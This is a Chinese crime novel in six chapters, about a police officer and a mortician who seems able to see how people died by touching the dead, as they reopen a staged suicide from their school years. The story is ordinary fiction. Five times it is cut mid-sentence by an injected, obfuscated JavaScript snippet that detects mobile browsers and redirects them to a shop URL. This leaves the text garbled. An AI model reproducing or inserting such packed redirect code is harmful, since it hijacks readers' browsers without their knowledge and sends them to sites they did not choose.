《触碰死亡的少女》 1. 第一章 顾安程打死也没想到自己会有今天,虽然他大概是快死了。 真是“好奇心害死猫”,这句话就他现在看来简直是至理名言,从酒吧出来,如果不是为了看那个形迹可疑,大半夜戴着帽子的女人到底要去干什么,他也不至于落到这种苦境,进了小巷跟丢了不说,还被她从身后偷袭。 刀狠狠扎进身体,他痛得叫都叫不出声来,太特X的疼了! 顾安程想要转身看看那该死的女人的模样,身体却被重重一推,刀从他的体内拔出,他毫无抵抗之力,直接往前倒下。 “唔……” 他整个人撞在坚硬冰冷的水泥地上,疼得他发出一声闷哼,酒精和疼痛一齐袭来,脑袋一片眩晕,但即使这样,他竟然能清晰的感觉到自己的血在往外涌出,还有,脚步声…… 那个女人似乎走到了他旁边,他强撑着睁开眼睛,只能看到一双黑色的靴子。 对于一个女人来说,不可能穿这么大码的鞋。 不是那个女人的话,是她的同伙吗?! 顾安程想要往上看,一只靴子直接踩在了他的脸上,来回重重的碾压,他就如同一根香烟,一只弱小的蚂蚁。 艹! 意识模糊之前,他脑子里只有一个念头。 “好奇心害死猫”。 如果他活下来了,他一定要请个书法大师把这句话写下来然后裱在家里! *** 木时宜的意识渐渐恢复,疼痛伴随着强烈眩晕让她一时想不起自己身在何处,眼皮轻颤,随后缓缓睁开眼,所见的只是一片黑夜,身下是坚硬阴冷的水泥地,周围一片寂静。 她艰难的用双手支撑着坐了起来,当即天旋地转,她抬手捂着胀痛的后脑勺,却摸到了一股黏腻。 血,满手的血。 然而不只是手上,周围的水泥地上也是血,流了一地,这么多血不可能是她的,似乎还属于另一个人。 怔忡之时,一声震动伴随着手机屏幕的亮起。 木时宜的视线向右侧看去,瞳孔倏地睁大,一个手臂不到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306099|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离,有一个男人躺在那里,脸朝着她的方向,屏幕光照在他的脸上,瞳孔不正常的睁大。 他,是死了吗? 迟疑了数秒,木时宜颤抖着伸出手伸向了那个男人,在手碰到他身体的一瞬间,即使已经习惯触碰尸体,她还是失控的叫出了声。 死……了…… 她缩回手,双手抱紧了颤栗不已的自己,恐惧无助席卷而来,她记得这个男人,从她出单位后不久,他一路尾随她到了这里,可之后,发生了什么? 为什么她受伤了?为什么那个男人,死了? 混乱之时木时宜在她的身侧又看到了一把匕首,刀刃上没有沾到血的地方闪着寒光,她的眼睛直愣愣的盯着它,又转而看向那具尸体。 男人死前最后见到的人是她,即使意识还不清醒,脑后的伤让她的记忆出现断片,但如今摆在她眼前的证据不难推断出事情的经过。 男人先动了手,她反抗的过程中失手将他杀害。 所以…… 她杀了人。 2. 第二章 “石楠路254号旁边的小巷内发生命案,嫌疑人为一名女性,仍在案发现场,请迅速出警。” 接到指挥中心的派警后,恰好在附近巡逻的顾安程和同事姜鸣最先赶到了那里,拿好装备从警车下来,小巷很深,里面的路灯又坏了,他们只得用警用手电照着路。 约莫走了十几步,他看到了人影,他抬起手电往那里一照,一个坐着的长发女子,双手抱着腿,眼睛直愣愣的看着前方,而她不远处的地上躺着一个男人,姜鸣走过去蹲下身查看男人的情况,而顾安程则向那名女子走去。 “举起手!”他止步扬声命令对方,喊了好几次对方才有了反应,看着女子慢慢举起手他才继续前行,等走近,他看清了她的容貌,麻木的眼神,发抖的嘴唇,苍白的脸上沾着几滴血,看上去也就二十出头的模样,比他应该还小几岁。 他倒没想到嫌疑人是个这么柔弱的女人,他刚才粗略看了一下死者的情况,背后中刀,看出血的情况,伤口很深。 “他是你杀的?” 没有任何的回应。 可能是冲动犯罪,一时吓傻了。 顾安程拿出手铐,伸手抓住了她的手腕,就在这时,她突然瞪大了眼睛,直直的看着前方,没有焦距一般,正当他狐疑之际,她眨了下眼,与他的视线对上,那双眼睛中竟充满了恐惧和震惊。 “怎么了?”这一系列的变化被顾安程看在眼中,总觉得哪里不对劲,可女人却垂眸不吭声了,只是他仍旧能感受到她在瑟瑟发抖。 奇怪,他有这么可怕吗?怎么她跟见了鬼似的?! 一般女人看到他也就是花痴一下,难不成他已经帅到让人惊恐的地步了? 队里的其他人很快也到了,让现场勘查人员简单的取证之后,顾安程将这名叫木时宜的女嫌疑人押进警车,和另一名女警廖佳带她去医院处理脑后的伤口。 她的脑后系遭到了钝器重击,轻微的脑震荡。 医生还在包扎伤口,顾安程的手机响了,是何队长来的电话。 他向廖师姐示意了一下,走到走廊接了起来,“喂,何队。” “小顾,我们刚看了监控,嫌疑人另有他人,是一名男性。” “男性?那,她是……” “她也是受害者之一,嫌疑人先杀害男性死者后,又用砖块袭击了她的脑后,之后逃逸。”何队描述了当时发生的真正过程,“对了,她的情况怎么样?” “轻微脑震荡,没什么太大的问题,只是医生说可能会产生,叫什么……什么遗忘。”顾安程对于这种专业名词实在记不住。 “所以她有可能忘记了受害的整个过程,才会误以为自己杀了人。” “大概…是这样吧。”逻辑上倒也说得通,只不过顾安程还是觉得哪里不对劲,或者说木时宜给他的感觉不太对。 啧啧,正常年轻女人看到他会是这种眼神吗?! 顾安程挂了电话走进治疗室,先把她手上的手铐解开了,然后才解释:“你不是凶手,杀人的是另外一个男人,你也是受害者。” 一直没说话的木时宜终于开了口,语气里有些怀疑,“真的吗?” “对啊。”顾安程收起手铐,狐疑地看向她,“你真的一点印象都没有?” 她只是摇头。 “医生,她的这个症状叫什么遗忘?” “逆行性遗忘。” “逆行,难不成还有顺行啊?”顾安程随口一说。 戴着口罩的医生睨了他一眼,“没错。” “……” 在医院治疗之后,取了药,顾安程又带着木时宜回警局做笔录,她只记得男性死者一直尾随着她,之后到她醒来这段时间发生的事,她都忘了,而一路上的监控以及身份调查也证实了她的说法,她和男性死者并无关系。 开车送木时宜回了家,让廖师姐陪同她上楼,顾安程等着她住的那间房子灯亮起,低头看着队长发来的那段监控。 深夜里独自一人的年轻女人,身后尾随她的男人,还有突然出现的凶手。 这种似曾相识的感觉瞬间涌了上来,他下意识地摸向后背。 不过,鞋码对不上,应该不是同一个人。 警车门被拉开,廖佳坐了进来,恰好目睹了他的这一动作,“小顾,你怎么了,腰不好啊?” “……”师姐,他摸的是背好不好! *** 送走了女警员,木时宜看着墙上的挂钟,已经快凌晨2点了,因为脑震荡的关系,她头现在还是晕的,只是她没有马上洗漱睡觉。 走进书房,她打开桌上的台灯,从抽屉里拿出一本画册,近百页的册子已经被她画的只余下几页的白纸,她翻到最后,拿起铅笔,十多分钟后,一幅画跃然纸上,她的眼睛看着画,思绪却是游离的。 为什么? 为什么?! 晚上就眯了一个小时的顾安程洗了个澡又坐在了电脑前,不知为何,那个叫木时宜的年轻女人总有些让他在意。 点开她的资料,顾安程扫了一眼,竟看到了一个熟悉的学校。 T大附属中学——那也是他的高中,更巧的是他们还是同一届的。 虽然他是高三才转入的,不过也是学校的风云人物,这么看来,木时宜应该是认出他来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306100|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,所以才会这么惊讶吧。 搞清了这点,顾安程整个人舒心了不少,更舒心的是几小时后,小巷杀人案的嫌疑人在其租住的屋内被成功抓捕。 押回局里后,在证据面前,嫌疑人供认不讳,交代了自己的罪行,那名男性死者是他前妻的现男友,因为前妻出轨,他一直对死者怀恨在心,昨天晚上喝了点酒,正好在路上看到了死者,于是拿着随身携带的刀一路尾随,到了小巷后从背后将死者捅了几刀,这时才注意到还有一个年轻女性,便用砖头砸向了她的后脑,随后逃离现场。 写完报告已经快九点了,顾安程这才有空给自己哥们回了电话。 “喂,我刚忙完。” 对面传来年轻男人的叫声:“快来!就等你一个人了!” 挂了电话,他就收到了朋友发来的定位。 半个多小时后,顾安程手插着口袋站在了酒吧门口,心情复杂,想当年玩的疯的时候,他几乎是天天泡在酒吧里,反正有钱又闲,可自从那件事后,他不光戒了酒,现在看到酒吧这俩字心里都还有些发憷。 啧,这该死的后遗症。 进了酒吧,被服务生带去了VIP包间,里面坐着的三个人都是他的朋友,家世相似,又都爱玩,自然鬼混到了一起,俗称“狐朋狗友”。 高中毕业后,只有顾安程考上了警校,其他三人随便上了个大学,之后都按照计划进了自己的家族企业上班,不过即便如此,四人的交情并没有断。 “哟,顾安程你可算来了。” “得叫顾警官了啊。” “去去去。”顾安程推了一把调侃他的朋友吴骏,在他边上坐下,刚想喝水,结果看了一圈桌上放的,除了酒就是酒,只好叫来服务生,在其余三人的哄笑下点了杯橙汁。 “卧槽,我说当年的顾安程哪去了!” “你们不懂,他这是洗心革面、天翻地覆、焕然一新……” “大哥,不会用成语就别用!” “顾安程,想当年你可是T中一霸啊。” 这中二的称号,现在的顾安程只觉得是黑历史。 既然提到了高中,顾安程顺势问了一句:“对了,我们那届有个叫木时宜的,你们有印象吗?”不算常见的名字,而且他查过那一届没有重名的。 此话一出,三人脸色皆是一变。 “木时宜?木头的木?” 顾安程一挑眉,“是啊,认识?” “艹,岂止认识,认识她一辈子好不好!” 这语气像是有什么深仇大恨似的,他追问道:“怎么了?” “她当初诬陷过吴骏杀人啊!” 3. 第三章 诬陷……杀人…… 顾安程心头一跳,可这么严重的事件他怎么一点印象都没有,他视线移向吴骏,后者脸色相当难看,“什么时候的事?” 吴骏没吭声,一旁的陈哲开了口:“高二的时候,啊,那时候你还没来所以不知道。” 顾安程脑海中浮现出木时宜的模样,柔柔弱弱的,颇感意外,“她为什么要做这种事?” 爱说成语的吴康康重重啧了一声,愤愤不已,“因爱生恨呗,你都想象不到那女的有多可怕,之前和吴骏表白被拒了,就在她心里埋下了阴暗的复仇种子,然后她就逮了个机会想出这招来报复他!” “什么机会?” “高二下半学期,我们隔壁三班有个女的自杀了,正巧是阿骏前女友,她竟然一口咬定是吴骏杀的,幸好有人证和不在场证明,当时他和高小伟在家里打游戏呢,这才还了他清白,这事当时闹的可大了,可把我们阿骏折腾坏了。” “她啊简直是疯子!颠得很!” 另外两人你一言我一语向顾安程描述了当年的事情,他听完看向当事人,“居然还发生过这种荒唐事,怎么都没听你提过啊?” “这种倒霉事有什么好提的。”吴骏说完大半杯酒一口喝了下去,随后酒杯重重地放在了桌上。 顾安程面露疑惑,“之后呢?没追究她责任吗?”他认识的吴骏可是有仇必报的人,何况他也有背景和底气。 吴骏摇了摇头,陈哲拍了拍他的肩膀,替他开了口:“我们阿骏大度,没追究她,只不过她待不下去转学了呗。” 难怪没印象,原来他转学进T中的时候她已经转校走了。 “安程,你怎么突然提起她?发生什么事了吗?” “没。”顾安程简略的回了句,没提案子的事,“昨天偶然碰到了,一查发现是T中的,还是一届的。” “我靠,难不成她看上你了?!” “看上我多正常啊。”提及外貌,顾安程不免自恋起来,“谁让我长了一张迷倒众生的脸呢。” “恶心,真TM恶心!” 哄笑之中,这个不算愉快的话题自然的结束了。 玩到十二点多,四人才离开酒吧,其他三人都有司机来接,顾安程一个个把已经喝醉的三人送上车,才坐上了自己的车。 没有马上启动车子,顾安程身体往后靠,看着吴骏坐的车离开的方向,回想着他刚才的表情和动作。 这么多年的挚友,他不想怀疑,可就是因为认识了这么久,彼此太过了解,所以更加瞒不过他。 吴骏慌了。 在提到木时宜和当年的杀人案时,他慌了。 为什么? 顾安程突然不敢深想下去。 应该是他想多了,但愿是他想多了…… 纠结了一晚上没睡着,顾安程索性起了个大早,他想起应该能从一个师兄高霖那了解当年案子的情况,于是便给他打去了电话。 正巧高霖今天值班,“T中啊,六年前?死者叫什么名字?” “刘文倩。” “你等等我查查看。”电话那头传出鼠标和敲击键盘声,片刻后,高霖的声音再次传来:“找到了,自杀案啊,小姑娘跳河了,还写了遗书,字迹也验过了,确实是本人写的。” “还有遗书啊……”这倒是他昨天没听到的关键细节。 “是啊,我说安子啊,你怎么突然关心起六年前的案子了?”高霖不免疑惑。 “我也是T中的嘛,昨天和朋友聚会,他们正好提到了这个案子,对了师兄,你看看是不是有一个叫木时宜的,声称刘文倩不是自杀,而是被一个叫吴骏的杀害的。” “emmm……还真是,就是她报的警,来做过笔录,应该是知道吴骏和死者曾是恋人关系吧,吴骏确实有嫌疑,不过调查后排除了。” 一通电话下来,顾安程对当年这起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306101|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案件有了大致了解,吴骏和刘文倩原本是恋人关系,谈了快两年了,但高二下半学期就分了手,刘文倩一直想挽回,但吴骏分的很坚决。 半个月后的一个周五深夜,刘文倩溺亡在学校附近的河里,死前她还给吴骏发了一条信息,就三个字:“再见了。”吴骏收到短信的时候,正和高小伟在家里打游戏,他表示自己看了眼短信并没理会,他完全没想到对方会寻死,还以为她是想通了。 第二天,刘文倩的尸体被T中的几个学生发现后报了警,巧合的是,发现尸体的人中就有木时宜,在做笔录时,木时宜就坚称,杀害刘文倩的就是吴骏,她提供不了什么证据,但就是一口咬定。 民警到场勘查了现场,河的周围没有安装监控,但发现了死者写的遗书和手机,之后也进行了笔迹鉴定,确实是刘文倩的笔迹,尸体在家属的要求下进行了尸检,在死者体内检测出了酒精成分,查了消费记录发现,刘文倩是在离死亡现场一公里的一家酒吧喝的,独自一人,离开时也没发现有人跟踪。而法医推断出的死亡时间段,那个时候吴骏正在家中,有高小伟作为他的人证,根据种种证据,最终判定死者为自杀,家属也都认可了,事后吴骏家也给了一定的补偿。 对这个结果唯一不认可的有且只有木时宜,她说她看到了,可实际上,宿舍的监控显示她当晚就没离开过寝室楼。 抛开信任朋友这层关系,这么多证据摆在他面前,顾安程心里的天平自然是完全倒向了吴骏,他懊悔不已,心说怎么能怀疑自己的兄弟呢!现在回想起昨天木时宜的种种表现,难怪他当时就觉得她整个人透着怪异,看他的眼神也奇奇怪怪的,能因爱生恨干出诬陷杀人这档子颠事的人能是正常人吗? 一阵恶寒,顾安程又庆幸起来,还好小巷杀人案不归他负责,以后他也不用和那个不正常的女人有任何接触了! 只可惜…… 三天后,顾安程就接到了木时宜的电话。 4. 第四章 接到木时宜电话的时候,顾安程开着车刚到单位车库,车还没停好。 手机屏幕上显示出一串陌生的号码,他停了车,手指一滑接了起来,“你好,哪位?” “我是木时宜。” 这个名字让顾安程足足愣了几秒,木时宜?!见鬼了!她怎么会给他打电话?她怎么知道他的号码的? “哈?”太过震惊导致于顾安程非常滑稽地哈了一声,然后才反应过来自己有点失态了,清了清嗓子,故作沉稳道:“木小姐,有什么事吗?” “顾警官,我刚下夜班到家,发现我家好像被入室盗窃了。” “入室盗窃?!”要知道,这几年随着监控的普及和设备的升级,入室盗窃这类案件已经鲜少发生了,另外,她前几天刚被人在小巷袭击,目睹了一起凶杀案,现在又疑似遭遇了入室盗窃,她身上发生的案件未免也太多了吧,还是连续性的。 “对,家里的大门被撬开了,里面也被翻的一团乱。” 此时的顾安程脑子里也一团乱,可片刻后他稍稍冷静了下来,他想到了一个问题,“木小姐,你打过110了吗?” “没有。” 没有?不对劲啊!很不对劲啊! 正常人碰到这种事第一反应不应该是拨打110吗?为什么她直接给他打了电话?心中的疑惑还没问出口,木时宜倒是抢先一步给出了回答。 “因为你是我唯一认识的警察,所以我想给你打电话也是一样的。” “……”话这么说也没错,顾安程一时也没法反驳,虽然因为当年她诬陷吴骏的极端行为,他极其不想再与她有任何的接触,可谁叫他是人民警察呢?群众都打电话来求助了,而且如果真是入室盗窃还真归刑队管。 “我知道了,现场不要动,我马上来。” 办公室也不上去了,顾安程先把情况和何队汇报了一下,他决定自己先去看一下现场。 早高峰有点堵车,木时宜的家离刑队不过七八公里,顾安程还是用了四十多分钟才开到她的小区。 木时宜的家在六楼,老式公房还没有安装电梯,他一口气爬到还是有点喘,爬到五层半他就看到了木时宜,她正安安静静地坐在门口的板凳上,低垂着头,乌黑的长发披散着,还能看到脑后包着的纱布。 看到这一幕不知为何,顾安程觉得她小时候一定也是这样,乖巧地坐在门口等着下班的父母回家开门的。 乖巧?可不能忘了她干过的事,顾安程赶紧甩甩头。 木时宜原本低头看着手机,听到声音她抬起头,正好和他的目光相撞。 和上次的惊恐不同,她黑亮的眼眸里透着平静。 “顾警官。”她收起手机站起身。 顾安程快步走上最后几节台阶,先是从敞开的大门向里望去,虽然只能看到客厅,但已经看到了被翻动的痕迹,他拧了拧眉头,戴上了手套穿上了鞋套,又检查了房门,门锁有被撬开的痕迹,门上没有安装可视门铃,对门的邻居家也没有,楼道没有监控,那就只有楼下一个摄像头可以拍到人员进出楼栋的情况了。 心里有了数,他视线重回木时宜的脸上,直奔主题,“木小姐,你是几点离开的家,又是几点回来的?” 因为身高上的差距,木时宜抬头看着他,回答道:“昨天晚上7点半出门,今天8点20分左右到的家。” 顾安程看了眼他接到她电话的时间,8点26分。 他又继续问:“你到家的时候,第一眼看到的是什么情况?” “门是虚掩着的,我拉开门,就发现里面一团乱。”木时宜指了指身旁的灭火器,“然后我拿着它进去看了一圈,里面没有人,客厅、卧室、书房都被翻乱了。”她顿了一下,“我就给你打了电话。” 听着木时宜叙述的情况,顾安程不由脑补了一下她拎着灭火器防身的画面,他收回想象,接着询问:“有钱财物品被盗吗?” “有,放在书房书桌上的笔记本电脑不见了,其他的我怕破坏现场,所以没有检查过,不过家里好像也没有值钱的东西了。” 木时宜从头至尾都表现的很冷静,顾安程心想难道和她从事入殓师这个职业有关?入室盗窃可不是小事,她居然能如此波澜不惊。 从她口中也算是有了进一步的了解,去保安室看监控的路上,他给何队打了电话,简单汇报了情况。 拷贝完木时宜离开家这十二小时的监控视频,顾安程又回到了木时宜所住的21栋楼,等着队里的人来勘验现场。 木时宜家对门没住人,房子空关了几个月了,顾安程从一楼开始一户一户敲了门按了门铃并观察了门锁,一是为了查看还有没有别的住户遭遇了入室行窃,二是询问有没有人听到什么声响或者看到什么可疑的人员上下楼,结果是,这栋楼十二户,只有木时宜家的门有被撬锁的痕迹,还有一户人家表示自己半夜起夜时听到有人下楼的声音,大概是在凌晨两点多。 顾安程琢磨了一下,这显然不是随机作案,木时宜家里是被选定的目标,据他了解,她是在殡仪馆工作的,差不多六天上一次夜班,这个实施入室盗窃的人应该是提前摸排过,知道那段时间她不在家中才采取了行动。 但奇怪的是,为什么会挑选上木时宜呢?她家里也没什么值钱的东西啊。 “木小姐,你近期有发现被人跟……”顾安程突然收了口,这话有什么好问的,木时宜前两天不是刚被人跟踪过吗?跟踪她的人还被杀害了。 “顾警官,其实……我有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306102|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑的对象。” 顾安程闻言心头一颤,“谁?” “吴骏,我的高中同学。” *** 顾安程脸色相当难看,他几乎是咬紧牙关强压着自己的怒意。 六年前诬陷一次还不够,现在竟然还要再来一次?! 陈哲说的没错,木时宜真是个疯子。 她应该是不清楚他和吴骏的关系的,顾安程当下不好发作,做了一个深呼吸,尽量让自己的语气平和一些,“为什么怀疑他?你有什么证据吗?” 木时宜没有回答,而是拿出手机按了几下,递给了他。 顾安程不解地看向屏幕,是一条发出去的短信。 “我手上有你杀害刘文倩的证据。” 收件人写着吴骏,发送时间是前天的10时21分。 顾安程手指微颤,收件人名字下方显示了一个手机号,号码他很熟悉,正是吴骏的号码。 他明白了,木时宜觉得她给吴骏发了这样的信息,现在她家里又遭到了盗窃,肯定是吴骏为了找出这个所谓的“证据”来搜家,把最有可能留有证据的笔记录电脑偷走了。 又或者……这就是木时宜为了诬陷吴骏而自导自演的一出戏,根本没有什么证据,也没有什么入室盗窃。 顾安程越想脸越黑,眉头快拧成了川字,“木小姐,跟你说实话,刘文倩的案子我了解过,有笔迹鉴定过的遗书,也有人证,吴骏有不在场证明,你和吴骏之间的恩怨我不太清楚,但是……” “人证……高小伟么?”木时宜淡淡开口打断了他的话,“你可以去查一下他现在在哪里。” 顾安程还想说什么,楼下传出脚步声,他探身往楼下看去,是队里的同事来了。 和来现场勘验的同事交接了一下,顾安程又下了楼,回到自己的车里,他挠了一把自己的头发,很是烦躁,木时宜最后说的那句话,那个眼神,始终徘徊在他脑海里,甩都甩不走,到底还是让他的心里有了一丝松动。 高小伟他不熟,本来就是隔壁班的,虽然高小伟和吴骏关系好,但和他都算不上朋友,毕业后他自然也不会在意别人的动向。 其实要知道高小伟的情况,问吴骏自然是最方便的,可这种情况下,他当然是不能问,翻着通讯录,很快他找到了另一个人选,和高小伟是一个班的,而且还是他们年级出了名的“包打听”。 果然,不愧是有“包打听”这个称号的,他确实是知道,“高小伟?他高中一毕业就出国留学了。” 听到这个,顾安程有点意外,他记得高小伟家境一般啊,“那他现在人呢?回国了还是留在国外了?” 电话那头沉默了两秒,才又出声。 “他去世了,车祸。” 5. 第五章 听到这个重磅消息,顾安程觉得自己头都快炸了。 高小伟出车祸去世了,在四年前,死在了他出国留学的那座城市。 因为父亲早逝,高小伟是由母亲独自一人抚养长大的,儿子在异国身亡,高母奔溃之余根本无力处理任何事情,所以高小伟的后事全是由吴骏家里出面安排处理的。 “要不是有吴骏帮忙,我都不知道该怎么办,我们小伟啊都回不来。”一头白发的高母哽咽着,看着墙上挂着的黑白照片,嘴里还不忘念着吴骏的好。 “阿姨,小伟车祸的具体原因您知道吗?” “吴骏跟我说了,小伟那辆车是二手的,车的状况不好,好像是刹车出了问题,加上那天他太累了,疲劳驾驶了……他啊就是为了省钱,明明学习已经很忙了,还在那里打了好几份工。”高母伤心欲绝,“他每个月还要给我转钱回来,早知道,早知道会这样,就不该让他出国的,我的儿子啊,怎么就这么没了啊……” 谈及自己儿子的死因,高母已经泣不成声,顾安程赶忙起身安慰,“阿姨,您别太伤心了,保重身体。” 顾安程内心愧疚的不行,但又不擅长安慰人,他也不想揭开高母的伤疤,可有些情况,他也只能从她这里问到。 他拿出纸巾给高母擦眼泪,余光撇见了电视柜旁的一箱精致的礼盒,他突然想到了什么。 “阿姨,吴骏是不是也有来看望过你啊?” “是啊,每年都会来看我,逢年过节的还老是给我寄东西来,真是好孩子……小伟刚办完后事那会儿,他怕我想不开,隔三差五就来家里,陪我聊天,帮我收拾家里,整理小伟的东西。” 顾安程面上微笑着应着,心里却越来越冷。 他很清楚,吴骏不是这样的人。 整件事情从一开始就不对劲,吴骏被木时宜诬陷杀人,依着他的狠劲,他不可能什么都不做,只是让木时宜转学这么简单,而高小伟作为他的唯一人证,一毕业就被他出钱送到国外,而后短短半年便车祸身亡,车祸后的一切事务都是吴骏家来处理,甚至他还时常来看望高母,整理高小伟的遗物,是因为愧疚?还是因为要隐藏掉不能被发现的秘密呢? 顾安程越想越奔溃,他当警察的初衷可不是为了调查自己朋友有没有犯罪的! 准备离开高家时,顾安程接到队里同事电话,说是通过监控发现了一名可疑人员,戴着鸭舌帽口罩,穿着一身黑背了一个双肩包,今天凌晨2时16分走进了木时宜住的小区,2时28分进入她居住的那栋楼,直到2时51分离开,离开时双肩包明显装了东西,里面可能就有木时宜所说的不见了的笔记本电脑。 从四楼走到一楼,顾安程边听着电话边往外走,刚拉开楼门口的防盗门,就看到了门口停着的一辆熟悉的车。 “行,我知道了,我马上回单位。”他紧拧着眉头挂了电话,看着从车上下来的人。 很奇怪,他并没有在吴骏的脸上看到惊讶的表情,仿佛对于他出现在这并不意外。 但吴骏的语气还是表现的很意外,“安程,你怎么会在这?” 今天接收的信息太多,此时的顾安程有点不知道该怎么面对吴骏,他扯了下嘴角,笑的有些勉强,“我来看看高小伟的妈妈。” 吴骏露出疑惑的表情,“来看小伟的妈妈?我记得你和小伟不怎么熟啊。” “那也算是同学一场嘛。”顾安程回的含糊,又将问题抛给他,“你也是来看她的?” “是啊,小伟去世后,她就一个人住,年纪大了身体又不好,我给她带了点补品。”说着他抬了抬手里拎着的一箱礼盒。 “听高妈妈说,高小伟的后事都是你出面操办的,可以啊吴骏。” “他是我兄弟,我不操办谁操办啊。” 两人谈话间的氛围明显和前两天不一样了,顾安程表情难以控制的有些僵硬,他很讨厌自己现在这种虚假的说话方式,所以只想尽快结束然后离开这里,“刚还听高妈妈夸你呢,你上去吧,我有事先走了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306103|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “安程。” 顾安程闻声侧身回头看向他,“怎么了?” 吴骏看着他,眼神里透着浓重的审视,“你来这,和之前碰到木时宜有关系吗?” 顾安程迟疑了一秒,然后回答了他。 “有。” *** 在那个被人袭击的夜晚,当认出那个触碰到自己的警察是顾安程的那一刻,木时宜知道自己一直在等待的机会到了。 这个机会她等了快六年。 木时宜是认识顾安程的,六年前,她虽然受到了死亡威胁而被迫转学,但她还是时不时会回到T中,在附近观察吴骏,高三的时候,她突然发现吴骏的身边多了一个人,那人是个转校生,因为是学校的风云人物,一周之后,她就知道了他的名字。 顾安程。 正因为认识,木时宜很清楚顾安程和吴骏之间的关系,她作为一个外人很难打破他们朋友间的信任,不过虽然很冒险,但也不是没有办法。 于是,在遇袭的第二天,木时宜给吴骏发了那条短信,之后特意和同事换了夜班,给足了对方出手的机会,果然,上完夜班回到家,她就发现家里被翻的一团乱,在对方看来最有可能留有证据的笔记本电脑也被偷走了。 没有犹豫,她马上给顾安程打了电话,从他的态度和表现上,木时宜很确定,顾安程已然知晓了当年的案子,而且是刚知道不久的,在这时,她才将吴骏和高小伟抛了出去。 她在赌。 做完笔录的木时宜走出询问室,在看到门外等着的顾安程时,她觉得自己应该是赌赢了。 “木时宜,我们谈谈吧。” *** 在开车回刑队的路上,顾安程又从头理了一遍,从六年前的案子,到遇到木时宜后发生的每一个细节,有一个很关键的问题他始终想不明白。 “为什么你这么确定凶手就是吴骏?” 木时宜:“当年做笔录的时候我就说了,因为我看到了。” 6. 第六章 “因为我看到了。” 这话顾安程在电话里听高师兄提过,当时他只觉得是木时宜为了诬陷吴骏编的谎话,此时此刻再听到这个说辞,他眯了眯眼睛,脑子里突然冒出了一个荒唐的念头。 难道你有千里眼不成? 顾安程也知道实在荒唐,只是在心里腹诽,并没说出口。 “你们学校宿舍楼的监控显示案发当晚你从没有离开过宿舍,你又是怎么看到的?视频通话?刘文倩给你打视频电话了?”刚说完他又自己否定了,“不可能,如果是这样肯定会留下记录的,警方不可能没有查到。” 木时宜只是看着他,并没有解释。 她的态度让顾安程稍微有点急了,“木时宜,我也不瞒你,我刚去了解过高小伟的情况了,吴骏的种种行为也确实反常,所以我想查出六年前的真相,不是为了包庇朋友,你可以信任我跟我实话实说的,况且你找到我不就是为了让我去查吗?” 木时宜是相信顾安程的,“我只是怕你不信。”她叹了口气,表情有些黯然,“因为没人会信。” 顾安程一听这话瞪圆了眼睛,双手环胸看着她,“你有超能力?难不成你真是千里眼啊?” “……”木时宜定定看了他几秒,然后像是下定了决心,开口道:“有纸笔吗?” “有啊。”虽然不理解她为什么突然要纸笔,但顾安程还是从办公室给她拿了过来,然后看着她开始默不吭声的低头作画。 顾安程起初还在心里嘀咕: 让她实话实话,又不是让她看图说话。 别说,画的还挺好的,像是专业学过的。 这是个靴子啊…… 当看到靴子上的图案时,顾安程只觉得心脏被猛然揪紧,一阵阵难以名状的凉意从背脊蔓延至全身,他猛地将纸从木时宜的手臂下抽出,他看着这幅画,拿着纸的手不自觉地捏紧再捏紧。 